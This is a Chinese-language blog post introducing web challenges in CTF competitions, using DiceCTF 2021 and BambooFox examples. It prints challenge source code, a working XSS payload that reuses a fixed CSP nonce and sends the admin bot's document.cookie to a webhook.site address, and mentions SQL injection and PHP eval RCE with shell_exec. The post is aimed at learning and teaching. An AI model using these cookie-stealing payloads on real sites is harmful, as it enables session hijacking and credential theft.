該如何入門 CTF 中的 Web 題?


Posted by huli on 2021-02-20

前言

知道 CTF 這東西很久了,但直到前陣子才真正去參加了線上辦的 CTF 比賽,不過因為會的東西有限,只能打 web 題,或是剛好有涉獵的 misc 題。雖然本來就覺得 CTF 很有趣,但實際去玩了以後收穫比我想像中的還多。

身為一個前端工程師,知道各種前端相關的知識十分合理,然後又因為看得文章夠多,所以除了一些新的特性以外,平時比較難有那種:「哇!居然可以這樣」的感覺。但在用心打 CTF 的兩個假日裡面,我獲得了數次這種感覺,而且是:「哇靠!!!!居然可以這樣嗎!!!」,明明就屬於前端的範疇,但我卻從來都不知道還可以這樣。

我認為前後端工程師去打 CTF 的 web 題,可以補足前後端相關的知識,而且這種知識是你平常在工作中或是生活中很難獲得的,但卻在資訊安全的領域很常見。想要防禦,就必須先知道怎麼攻擊。

因此這篇就稍微分享一下 CTF 是什麼,該如何參加,又該怎麼解題。

什麼是 CTF

其實可以先參考這兩篇文章:

  1. 跨出成為駭客的第一步,來打打看 CTF Web 吧!
  2. Day1: [Misc] What is CTF ?

不免俗地還是要講一下 CTF 的全名 Capture The Flag,奪旗。而現在講 CTF 指的應該都是以拿到「flag」為目標的遊戲或是比賽之類的。其實底下還有細分不同種模式,這篇講的會是最常見的 Jeopardy 模式,只要拿到 flag 然後在網站上送出,就可以拿到這題的分數。

而這個「flag」通常會是一個字串,帶有特定格式讓你能區分出來它是 flag。flag 可能會藏在各個地方,例如說圖片裡面啦,或者是機器內的某個檔案之類的,而你的目標就是找出這個 flag,就獲勝了。

對我來說這模式其實並不陌生,大家以前有玩過「高手過招」嗎?在高手過招裡面雖然不是以拿到一個固定的 flag 為目標,但「找到前往下一關的方法」其實就跟 flag 差不多。

之前做給學生玩的:Lidemy HTTP Challenge 還有 r3:0 異世界網站挑戰 其實也是類似的模式,找到某個 token(flag) 之後就可以前往下一關。

可是有太多地方都可以放 flag 了,難道要我們大海撈針去找嗎?有些時候可能是,但大多數時候其實並不是,有些是題目敘述就會跟你講說 flag 在哪裡,就算沒有告訴你,通常也會放在固定幾個位置。

為了讓大家更進入狀況,知道我在講什麼,我們就直接來看一下一些已經結束的 CTF 比賽,直接從畫面跟題目跟大家講解到底要做什麼。

以 DiceCTF 2021 為例

DiceCTF 2021 是前陣子剛結束的一個比賽,我直接用裡面的題目來做講解,這是一個在 CTF 比賽中很常看到的介面:

右上角是有多少人解出來以及這題的分數,在 CTF 比賽中分數是會變動的,越多人解開的題目分數就會越低。假設一開始是 500 分,100 個人解出來之後可能變成 50 分。而你拿到的分數跟「解開的時間」無關,就算你是第一個解開的(那時候是 500 分),在結算時也會用 50 分來計算。

而裡面也附上了題目敘述、網址跟讓你送出 flag 的地方,還有一個 admin bot,我們來看一下這是什麼:

這是我想跟大家介紹的第一種類型,我們就簡單稱之為「bot 類型」好了。在這種類型的題目中會有像上面這樣的網頁,讓你可以填入一個網址送出。而你填入網址之後,背後就會有一個 bot 去造訪你填入的網址(通常都是用 headless chrome 來做)。

那為什麼要這樣做呢?請注意原本題目敘述寫的:

The admin will set a cookie secret equal to config.secret in index.js.

在這種類型的題目中,會需要有一個 bot 造訪你提供的網址,通常是因為 flag 或是拿到 flag 的線索就藏在 bot 的 cookie 裡面。所以你要想辦法對 bot XSS 或是進行其他攻擊,然後把 cookie 偷出來。

仔細想想其實會發現滿合理的,因為如果要 XSS 的話一定要有對象嘛,而這個對象就是這個 admin bot。而這一題還有附上 source code:

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

可以發現你能夠用 ?name=123 帶輸入進去,然後會跟著一起被輸出出來,所以綜合以上知識,你要做的就是:

  1. 找出上述程式碼的漏洞,讓你可以進行 XSS
  2. 假設第一步驟達成,而且最後能進行 XSS 的網址是 A,使用者一進入網址 A 就會被 XSS 攻擊
  3. 把網址 A 填入 admin bot 並送出,讓 admin bot 造訪網址 A
  4. admin bot 成功被 XSS,而你也順利把 cookie 偷出來

只要你能 XSS,在沒有其他限制的狀況下把 cookie 偷出來很簡單,假設你有一台 server 網址是:http://example.com,你只要執行:fetch('http://example.com?flag=' + document.cookie),網頁就會把 document.cookie 當成 url 的一部分一起發送到 example.com,而你可以看 server 的 access log,就會知道 cookie 裡面到底有什麼內容。

這邊推薦大家一個很好用的網站:https://webhook.site/

它可以幫你產生一個網址,然後任何被發送到網址的 request 都會被記錄下來:

今天我發送一個 request 到:https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag=hello,畫面就會變成這樣:

有了這個能夠觀看 request 紀錄的地方,就可以不需要自己架 server,而是透過這個服務來接收你想傳送的資料。

像是這種題型通常都是要你對 admin bot XSS 或是結合其他攻擊手法,以上面這題為例,雖然有用 CSP + nonce 但仔細觀察會發現 nonce 不會變,因此只要拿到固定的 nonce 就可以 XSS。

如果網址是:https://babier-csp.dicec.tf/?name=apple 的話,網站內容就是:

<html>

<h1>apple</h1>
<a href='#' id=elem>View Fruit</a>

<script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>

那如果我的 name 改成:</h1><script nonce="+ZSveZwTAUqC6Pt9p+rgUg==">window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie</script>

url 就是:https://babier-csp.dicec.tf/?name=%3C/h1%3E%3Cscript%20nonce=%22%2bZSveZwTAUqC6Pt9p%2brgUg==%22%3Ewindow.location=%27https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag=%27%2bdocument.cookie%3C/script%3E

最後產生的網頁內容就是:

<html>
<h1></h1><script nonce="+ZSveZwTAUqC6Pt9p+rgUg==">window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie</script></h1>
<a href='#' id=elem>View Fruit</a>

<script nonce=+ZSveZwTAUqC6Pt9p+rgUg==>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>

把這個網址拿去給 admin bot,admin bot 就會去造訪這網頁,然後執行 window.location='https://webhook.site/076f63b2-295b-4e9e-97ef-561d6e4100b5?flag='+document.cookie,就會把它的 cookie 發送到我們的 webhook 去,就可以在剛剛的介面中看到 admin 的 cookie 內容:

根據拿到的 secret 以及上面的程式碼,造訪 /secret 之後會看到:


Hi! You should view source!

<!-- 

I'm glad you made it here, there's a flag!

<b>dice{web_1s_a_stat3_0f_grac3_857720}</b>

If you want more CSP, you should try Adult CSP.

-->

dice{web_1s_a_stat3_0f_grac3_857720}就是 flag,把這個 flag 拿去網頁介面送出,就可以拿到分數,通過這關。每一場 CTF 通常都會有固定的 flag 格式,以這場而言就是 dice{}

以上就是解這種題型的完整歷程:

  1. 查看程式碼找出漏洞,構造一個可以執行攻擊的網址
  2. 把網址送給 admin bot 去造訪
  3. admin 受到攻擊,偷到 admin 的 cookie
  4. 拿到 flag

為什麼這類型的題目都要把 flag 或是其他線索放在 cookie 呢?因為在實際攻擊的場合中,通常也是以拿到 cookie 為最終目標,所以這樣設計其實也滿合理的。只要拿到 cookie 通常也就代表拿到使用者的 token 或 credential(前提是沒有設定 httponly 啦,不然就拿不到了)。

接著我們再來看一題:

一樣有附上程式碼:

const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')

// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT,
  password TEXT
);`);

// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
  'admin',
  '${crypto.randomBytes(16).toString('hex')}'
)`);

const express = require('express');
const bodyParser = require('body-parser');

const app = express();

// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));

// login route
app.post('/login', (req, res) => {
  if (!req.body.username || !req.body.password) {
    return res.redirect('/');
  }

  if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
    return res.redirect('/');
  }

  // see if user is in database
  const query = `SELECT id FROM users WHERE
    username = '${req.body.username}' AND
    password = '${req.body.password}'
  `;

  let id;
  try { id = db.prepare(query).get()?.id } catch {
    return res.redirect('/');
  }

  // correct login
  if (id) return res.sendFile('flag.html', { root: __dirname });

  // incorrect login
  return res.redirect('/');
});

app.listen(3000);

像這一題就不需要什麼 XSS,因為根據程式碼,你必須讓 SQL query 可以正常執行,最後就會進入到:if (id) return res.sendFile('flag.html', { root: __dirname });,就可以看到 flag。

所以像是這種題目就順著做就好,目標就是要繞過他那個檢查。至於怎麼繞過,就留給大家自己想了。

其他常見題型

原本想舉其他 CTF 比賽當例子的,但大多數 CTF 比賽的網頁都只有比賽進行的時候會開著,結束後過幾天就關了。如果當初打的時候沒有截圖下來,就比較難重現當初的步驟。

在 CTF 中其實很多題目是混合的,需要結合不同的攻擊手法才能解開。對有些初學者來說比較難的可能是「不知道從何下手」,不知道到底 flag 會放在哪邊,看到題目也不知道要幹嘛,因此底下我簡單介紹幾種下手方式。

SQL Injection

像這類型的題目,flag 通常都放在資料庫的某處,你要透過 SQL Injection 的方式把 flag 找出來。但也要注意一點,那就是在 CTF 中許多題目其實是有很多關卡的,有可能 SQL Injection 是第一關,你會在 database 裡面找到前往下一關的線索,然後下一關可能是其他類型的題目之類的。

RCE

RCE,全名 Remote Code Evaluation,意思就是你可以遠端在其他人的電腦上面執行程式碼。以 BambooFox CTF 2021 的 ヽ(#`Д´)ノ 這題為例,就給了這樣一段程式碼:

 <?= 
    highlight_file(__FILE__) &&
    strlen($🐱=$_GET['ヽ(#`Д´)ノ'])<0x0A &&
    !preg_match('/[a-z0-9`]/i',$🐱) &&
    eval(print_r($🐱,1));

最後一個步驟是 eval,所以如果前面的判斷都通過了,你就可以執行任何你想執行的程式碼。像這種題目通常都會需要執行 shell_exec 之類的函式,例如說:shell_exec('ls /') 就可以把根目錄的檔案印出來,而 flag 就放在主機的某個位置。

有些題目會直接提示在哪裡,沒有提示的可以先找找看 /~ 或是 ./flag, ./flag.txt 之類的地方,都是滿常會放置 flag 的位置。

因此這題的目標就是要繞過判斷,好讓我們可以在主機上執行任意程式碼來找到 flag。

不給程式碼的題型

有些題目是不給程式碼的,就給你一個網址然後要你找到 flag。這類型的有可能是 SQL injection,也有可能是 RCE 或是 SSTI,這些都有可能。所以就是要從網站中尋找各種蛛絲馬跡,來看要採取什麼方式進行攻擊,找出網站的漏洞。

碰到一些「你知道大概屬於什麼類型,但不知道怎麼攻擊」的狀況時,Google 是你的好朋友。例如說我知道這題可能是 SQL injection,但我不會打,我就可以搜尋:「sql injection cheat sheet」或是「sql injection ctf」之類的關鍵字,通常都可以找到很多有用的資料。

關於繞過限制,也可以用 bypass 這個關鍵字,例如說「csp bypass」,「xss bypass」之類的。

總結

這篇真的只是簡單介紹一下 CTF 裡面常出現的 web 題的目標,通常是:

  1. 繞過某些限制
  2. 想辦法 RCE 並找出 flag
  3. 對 bot 進行 XSS
  4. 在資料庫中找到 flag

雖然說 flag 看似難找,但其實題目通常都會給一定的線索,而且 flag 放的位置通常就那幾個比較有可能,打的題目多了就會熟練了。

對於資安這塊不熟悉的人如果想接觸 Web 相關的領域,我推薦 PortSwigger 的 Web Security Academy 系列,裡面列出了很多種攻擊手法,而且還有網站可以讓你練習。

如果想試試看參加 CTF 比賽,可以看 CTF Time 這個網站,上面會有時程表,你可以找到已經辦過跟正要舉辦的比賽,報名方式很簡單,就只要註冊就行了,接著就是等比賽開始然後開始打題目。

這篇之所以是介紹「怎麼開始打 Web CTF」而不是講「我從 CTF 中學到的 web 技巧」,是因為我覺得那些學到的技巧,直接寫出來是沒有什麼用的。CTF 的解法最美妙的一點就在「你有努力想過」,這很重要。

舉例來說,如果我現在給你一個題目,然後讓你想五分鐘,五分鐘之後跟你講答案,你可能會覺得「喔,原來是這樣」。但如果給你五個小時,然後這五個小時之中你試遍了各種方法都解不開,這時候跟你講解法,你大概會:「哇操!!!!太神了吧!!!可以這樣解喔!!!」,而這是只有花時間付出的人可以體會到的樂趣。

在沒有努力思考之前直接把解法講出來就會大幅度減少這種樂趣。

還有一點我覺得很棒,那就是 CTF 比賽結束之後通常都會有每個參賽者的 writeup,可以想成就是解法的筆記,會敘述自己怎麼思考然後用什麼方法把題目解開的,一個題目可能不只有一個解法,可以從其他人的解法中學習到很多。

如果你是有些經驗的前後端工程師,非常推薦大家接觸一下資安的領域,透過 CTF 比賽學習各種前後端的攻擊方法,有可能會讓你大開眼界,得到很多新的知識,讓你能寫出更安全的網站。












Related Posts

C語言-陣列

C語言-陣列

Module build failed (from ./node_modules/sass-loader/dist/cjs.js)

Module build failed (from ./node_modules/sass-loader/dist/cjs.js)

[第十一週] XSS 攻擊

[第十一週] XSS 攻擊




Newsletter




Comments